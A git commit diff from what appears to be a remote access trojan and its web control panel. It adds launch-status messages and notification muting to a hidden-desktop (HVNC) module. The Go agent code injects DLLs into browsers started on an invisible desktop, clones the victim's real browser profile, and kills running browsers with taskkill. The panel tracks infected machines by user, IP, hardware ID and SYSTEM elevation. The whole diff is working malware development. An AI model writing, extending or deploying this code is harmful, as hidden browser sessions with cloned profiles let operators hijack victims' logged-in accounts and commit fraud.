hvnc status and muting users.

This commit is contained in:
KingKDot
2026-05-15 18:29:25 -05:00
parent 12972d6e8b
commit 5aa3a304a8
18 changed files with 354 additions and 16 deletions
@@ -36,6 +36,7 @@ var advapi32 = syscall.NewLazyDLL("advapi32.dll")
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
var hvncDXGIStatusCallback atomic.Value var hvncDXGIStatusCallback atomic.Value
@@ -124,44 +125,59 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return result.pid, result.err return result.pid, result.err
} }
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection. func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
if onDXGIStatus != nil { if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus) hvncDXGIStatusCallback.Store(onDXGIStatus)
} }
notify := func(step string, success bool, detail string) {
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
if onLaunchStatus != nil {
onLaunchStatus(step, success, detail)
}
}
info, ok := browserInfoMap[strings.ToLower(browser)] info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok { if !ok {
notify("resolve", false, fmt.Sprintf("unknown browser %q", browser))
return fmt.Errorf("unknown browser %q", browser) return fmt.Errorf("unknown browser %q", browser)
} }
if exePath == "" { if exePath == "" {
exePath = findBrowserExe(info) exePath = findBrowserExe(info)
if exePath == "" { if exePath == "" {
notify("resolve", false, fmt.Sprintf("%s executable not found in any search path", info.name))
return fmt.Errorf("%s not found", info.name) return fmt.Errorf("%s not found", info.name)
} }
} }
notify("resolve", true, fmt.Sprintf("using %s", exePath))
if killIfRunning && clone { if killIfRunning {
processName := info.exeName processName := info.exeName
if processName == "" { if processName == "" {
processName = filepath.Base(exePath) processName = filepath.Base(exePath)
} }
if isProcessRunning(processName) { if isProcessRunning(processName) {
log.Printf("hvnc %s: killing running %s before cloning", info.name, processName) notify("kill", true, fmt.Sprintf("killing running %s", processName))
killProcess(processName) killProcess(processName)
time.Sleep(1500 * time.Millisecond) time.Sleep(1500 * time.Millisecond)
if isProcessRunning(processName) {
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
} else {
notify("kill", true, fmt.Sprintf("%s terminated", processName))
}
} else {
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
} }
} }
if !clone { if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name) notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "") pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
} }
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 { if info.needsPatch && pid != 0 {
go func() { go func() {
defer recoverAndLog("hvnc patch opera", nil) defer recoverAndLog("hvnc patch opera", nil)
@@ -173,15 +189,17 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
realUserData := getBrowserUserDataDir(info) realUserData := getBrowserUserDataDir(info)
if realUserData == "" { if realUserData == "" {
notify("clone", false, fmt.Sprintf("could not determine %s user data directory", info.name))
return fmt.Errorf("could not determine %s user data directory", info.name) return fmt.Errorf("could not determine %s user data directory", info.name)
} }
log.Printf("hvnc %s: real user data at %s", info.name, realUserData) notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress) cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
if err != nil { if err != nil {
notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
return fmt.Errorf("profile clone failed: %v", err) return fmt.Errorf("profile clone failed: %v", err)
} }
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir) notify("clone", true, fmt.Sprintf("cloned profile to %s", cloneDir))
if info.isFirefox { if info.isFirefox {
for _, lockFile := range []string{"parent.lock", "lock"} { for _, lockFile := range []string{"parent.lock", "lock"} {
@@ -205,10 +223,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
} }
} }
notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir) pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
if err != nil { if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err return err
} }
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 { if info.needsPatch && pid != 0 {
go func() { go func() {
defer recoverAndLog("hvnc patch opera", nil) defer recoverAndLog("hvnc patch opera", nil)
@@ -220,7 +241,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
// StartHVNCChromeInjected is kept for backward compatibility. // StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil) return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
} }
type browserInfo struct { type browserInfo struct {
+29 -1
View File
@@ -4,9 +4,11 @@ import (
"context" "context"
"encoding/json" "encoding/json"
"errors" "errors"
"fmt"
"log" "log"
"os" "os"
"os/exec" "os/exec"
"path/filepath"
goruntime "runtime" goruntime "runtime"
"strconv" "strconv"
"strings" "strings"
@@ -1511,12 +1513,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch) log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() { goSafe("hvnc_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
Browser: filepath.Base(strings.Trim(filePath, `"`)),
Step: step,
Success: success,
Detail: detail,
})
}
if killExe != "" { if killExe != "" {
sendLaunchStatus("kill", true, "killing "+killExe)
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
if err != nil {
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
}
} }
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil { if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err) log.Printf("hvnc: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else {
sendLaunchStatus("launch", true, "process created")
} }
}) })
return nil return nil
@@ -1723,7 +1742,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Message: message, Message: message,
}) })
} }
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil { onLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
Browser: browser,
Step: step,
Success: success,
Detail: detail,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err) log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
} }
}) })
@@ -265,6 +265,14 @@ type HVNCInstalledAppsResult struct {
Done bool `msgpack:"done"` Done bool `msgpack:"done"`
} }
type HVNCBrowserLaunchStatus struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Step string `msgpack:"step"`
Success bool `msgpack:"success"`
Detail string `msgpack:"detail"`
}
type ClipboardContent struct { type ClipboardContent struct {
Type string `msgpack:"type"` Type string `msgpack:"type"`
Text string `msgpack:"text"` Text string `msgpack:"text"`
+49
View File
@@ -382,6 +382,47 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
} }
} }
const launchStatusEl = document.getElementById("launchStatus");
const launchStatusIcon = document.getElementById("launchStatusIcon");
const launchStatusLabel = document.getElementById("launchStatusLabel");
let launchHideTimer = null;
function handleBrowserLaunchStatus(msg) {
if (!launchStatusEl) return;
if (launchHideTimer) {
clearTimeout(launchHideTimer);
launchHideTimer = null;
}
launchStatusEl.classList.remove("hidden");
launchStatusEl.classList.add("flex");
const browser = msg.browser || "browser";
const step = msg.step || "";
const detail = msg.detail || "";
if (!msg.success) {
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
launchStatusLabel.className = "text-rose-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 15000);
} else if (step === "launch") {
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
launchStatusLabel.textContent = `${browser}: ${detail}`;
launchStatusLabel.className = "text-emerald-300";
launchHideTimer = setTimeout(() => {
launchStatusEl.classList.add("hidden");
launchStatusEl.classList.remove("flex");
}, 8000);
} else {
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
launchStatusLabel.className = "text-sky-300";
}
}
function handleBrowserCheckResult(msg) { function handleBrowserCheckResult(msg) {
if (!msg.browsers || !contextMenu) return; if (!msg.browsers || !contextMenu) return;
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => { contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
@@ -883,6 +924,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
handleDXGIStatus(msg); handleDXGIStatus(msg);
return; return;
} }
if (msg && msg.type === "hvnc_browser_launch_status") {
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
@@ -922,6 +967,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
handleDXGIStatus(msg); handleDXGIStatus(msg);
return; return;
} }
if (msg && msg.type === "hvnc_browser_launch_status") {
handleBrowserLaunchStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
+1
View File
@@ -2251,6 +2251,7 @@ tbody tr:hover {
.cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); } .cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); }
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); } .cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); } .cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
.cv-group { .cv-group {
display: inline-flex; display: inline-flex;
+66 -1
View File
@@ -39,6 +39,8 @@ const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
const bulkUninstallBtn = document.getElementById("bulk-uninstall"); const bulkUninstallBtn = document.getElementById("bulk-uninstall");
const bulkClearBtn = document.getElementById("bulk-clear"); const bulkClearBtn = document.getElementById("bulk-clear");
const bulkGroupBtn = document.getElementById("bulk-group"); const bulkGroupBtn = document.getElementById("bulk-group");
const bulkMuteBtn = document.getElementById("bulk-mute");
const bulkUnmuteBtn = document.getElementById("bulk-unmute");
const serverVersionText = document.getElementById("server-version-text"); const serverVersionText = document.getElementById("server-version-text");
const selectedClients = new Set(); const selectedClients = new Set();
let lastNonOnlineStatus = "all"; let lastNonOnlineStatus = "all";
@@ -593,7 +595,9 @@ function initializeRenderer() {
pageLabel, pageLabel,
openMenu: (id, x, y) => { openMenu: (id, x, y) => {
applyMenuSupportRules(id); applyMenuSupportRules(id);
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id) }); const card = getClientCard(id);
const notificationsMuted = card?.dataset.notificationsMuted === "true";
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id), notificationsMuted });
loadPluginsForClient(id); loadPluginsForClient(id);
}, },
openModal, openModal,
@@ -896,6 +900,39 @@ bulkGroupBtn?.addEventListener("click", () => {
openBulkGroupPicker([...selectedClients]); openBulkGroupPicker([...selectedClients]);
}); });
async function bulkSetMuted(muted) {
if (selectedClients.size === 0) return;
const ids = [...selectedClients];
try {
const res = await fetch("/api/clients/bulk-notifications-muted", {
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ clientIds: ids, muted }),
});
if (!res.ok) {
const data = await res.json().catch(() => ({}));
alert(data.error || "Failed to update notifications mute state");
return;
}
const data = await res.json().catch(() => ({}));
const action = muted ? "Muted" : "Unmuted";
alert(`${action} notifications for ${data.updated ?? 0}/${ids.length} clients`);
} catch (err) {
console.error(err);
alert("Failed to update notifications mute state");
return;
}
selectedClients.clear();
document
.querySelectorAll(".client-checkbox")
.forEach((cb) => (cb.checked = false));
updateBulkToolbar();
setTimeout(() => loadWithOptions({ force: true }), 200);
}
bulkMuteBtn?.addEventListener("click", () => bulkSetMuted(true));
bulkUnmuteBtn?.addEventListener("click", () => bulkSetMuted(false));
async function openBulkGroupPicker(clientIds) { async function openBulkGroupPicker(clientIds) {
const groups = await loadGroups(); const groups = await loadGroups();
@@ -1066,6 +1103,27 @@ window.setClientTag = async (clientId, tag, note) => {
} }
}; };
window.setClientNotificationsMuted = async (clientId, muted) => {
if (!clientId) return false;
try {
const res = await fetch(`/api/clients/${clientId}/notifications-muted`, {
method: "PATCH",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ muted: !!muted }),
});
if (!res.ok) {
const data = await res.json().catch(() => ({}));
alert(data.error || "Failed to update notification mute state");
return false;
}
return true;
} catch (err) {
console.error(err);
alert("Failed to update notification mute state");
return false;
}
};
window.setClientGroup = async (clientId, groupId) => { window.setClientGroup = async (clientId, groupId) => {
if (!clientId) return false; if (!clientId) return false;
try { try {
@@ -1447,6 +1505,13 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext); closeMenu(clearContext);
openGroupPicker(savedClientId); openGroupPicker(savedClientId);
return; return;
} else if (action === "toggle-mute") {
const card = getClientCard(contextCard);
const currentlyMuted = card?.dataset.notificationsMuted === "true";
const ok = await window.setClientNotificationsMuted(contextCard, !currentlyMuted);
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
closeMenu(clearContext);
return;
} }
if (!isClientOnline(contextCard)) { if (!isClientOnline(contextCard)) {
+5 -1
View File
@@ -408,7 +408,7 @@ export function createRenderer({
} }
function cardDigest(c) { function cardDigest(c) {
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}`; return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
} }
function renderMerge(data, options = {}) { function renderMerge(data, options = {}) {
@@ -506,6 +506,7 @@ export function createRenderer({
el.dataset.nickname = String(client.nickname || ""); el.dataset.nickname = String(client.nickname || "");
el.dataset.customTag = String(client.customTag || ""); el.dataset.customTag = String(client.customTag || "");
el.dataset.bookmarked = String(!!client.bookmarked); el.dataset.bookmarked = String(!!client.bookmarked);
el.dataset.notificationsMuted = String(!!client.notificationsMuted);
el.dataset.admin = String(!!client.isAdmin); el.dataset.admin = String(!!client.isAdmin);
el.dataset.groupId = String(client.groupId || ""); el.dataset.groupId = String(client.groupId || "");
el.dataset.groupName = String(client.groupName || ""); el.dataset.groupName = String(client.groupName || "");
@@ -626,6 +627,7 @@ export function createRenderer({
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""} ${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""} ${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""} ${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
</div> </div>
<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div> <div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>
<div class="cv-meta-line">${meta}</div> <div class="cv-meta-line">${meta}</div>
@@ -696,6 +698,7 @@ export function createRenderer({
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""} ${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""} ${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""} ${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
</span> </span>
<span class="cv-user-line cv-mono"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}${client.ip ? `<span class="cv-mid">·</span><i class="fa-solid fa-network-wired"></i> ${escapeHtml(client.ip)}` : ""}</span> <span class="cv-user-line cv-mono"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}${client.ip ? `<span class="cv-mid">·</span><i class="fa-solid fa-network-wired"></i> ${escapeHtml(client.ip)}` : ""}</span>
</div> </div>
@@ -752,6 +755,7 @@ export function createRenderer({
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "", client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "", client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "", client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
].join(""); ].join("");
article.innerHTML = ` article.innerHTML = `
+14
View File
@@ -45,6 +45,7 @@ const MENU_GROUPS = [
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" }, { label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
{ divider: true }, { divider: true },
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, { label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true }, { divider: true },
@@ -371,6 +372,19 @@ export function openMenu(clientId, x, y, setContext, options = {}) {
removeBtn.style.display = options.isOnline === true ? "none" : ""; removeBtn.style.display = options.isOnline === true ? "none" : "";
} }
const muteBtn = menu.querySelector('[data-action="toggle-mute"]');
if (muteBtn) {
const icon = muteBtn.querySelector("i");
const label = muteBtn.querySelector("span");
if (options.notificationsMuted) {
if (label) label.textContent = "Unmute Notifications";
if (icon) icon.className = "fa-solid fa-bell ctx-icon text-emerald-300";
} else {
if (label) label.textContent = "Mute Notifications";
if (icon) icon.className = "fa-solid fa-bell-slash ctx-icon text-amber-300";
}
}
// Reset submenu state // Reset submenu state
hideSubmenu(); hideSubmenu();
+7
View File
@@ -104,6 +104,13 @@
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i> <i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
<span id="dxgiStatusLabel">DXGI</span> <span id="dxgiStatusLabel">DXGI</span>
</div> </div>
<div
id="launchStatus"
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
<i id="launchStatusIcon" class="fa-solid fa-rocket text-sky-400"></i>
<span id="launchStatusLabel" class="text-slate-300">Launching...</span>
</div>
<div <div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300" class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
> >
+12
View File
@@ -182,6 +182,18 @@
> >
<i class="fa-solid fa-layer-group"></i> Set Group <i class="fa-solid fa-layer-group"></i> Set Group
</button> </button>
<button
id="bulk-mute"
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-amber-300 border border-amber-900/40 transition-colors"
>
<i class="fa-solid fa-bell-slash"></i> Mute Notifications
</button>
<button
id="bulk-unmute"
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-emerald-300 border border-emerald-900/40 transition-colors"
>
<i class="fa-solid fa-bell"></i> Unmute Notifications
</button>
<button <button
id="bulk-clear" id="bulk-clear"
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-slate-400 border border-slate-600/60 transition-colors" class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-slate-400 border border-slate-600/60 transition-colors"
+21 -1
View File
@@ -130,6 +130,9 @@ try {
try { try {
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`); db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
} catch {} } catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN notifications_muted INTEGER NOT NULL DEFAULT 0`);
} catch {}
db.run(` db.run(`
CREATE TABLE IF NOT EXISTS client_groups ( CREATE TABLE IF NOT EXISTS client_groups (
@@ -1138,7 +1141,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db const rows = db
.query<any>( .query<any>(
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor `SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted
FROM clients c FROM clients c
LEFT JOIN client_groups g ON g.id = c.group_id LEFT JOIN client_groups g ON g.id = c.group_id
${whereSql} ${whereSql}
@@ -1182,6 +1185,7 @@ export function listClients(filters: ListFilters): ListResult {
groupId: typeof c.groupId === "number" ? c.groupId : null, groupId: typeof c.groupId === "number" ? c.groupId : null,
groupName: c.groupName || null, groupName: c.groupName || null,
groupColor: c.groupColor || null, groupColor: c.groupColor || null,
notificationsMuted: c.notificationsMuted === 1,
thumbnail: getThumbnail(c.id), thumbnail: getThumbnail(c.id),
})); }));
@@ -1526,6 +1530,22 @@ export function getClientBookmark(id: string): boolean {
return row?.bookmarked === 1; return row?.bookmarked === 1;
} }
export function setClientNotificationsMuted(id: string, muted: boolean): boolean {
const result = db.run(
`UPDATE clients SET notifications_muted=? WHERE id=?`,
muted ? 1 : 0,
id,
);
return ((result as any)?.changes || 0) > 0;
}
export function isClientNotificationsMuted(id: string): boolean {
const row = db.query<{ notifications_muted: number }>(
`SELECT notifications_muted FROM clients WHERE id=?`,
).get(id);
return row?.notifications_muted === 1;
}
export interface BuildProfileRecord { export interface BuildProfileRecord {
userId: number; userId: number;
name: string; name: string;
+4 -1
View File
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
import path from "path"; import path from "path";
import fs from "fs/promises"; import fs from "fs/promises";
import { existsSync } from "node:fs"; import { existsSync } from "node:fs";
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications } from "./db"; import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
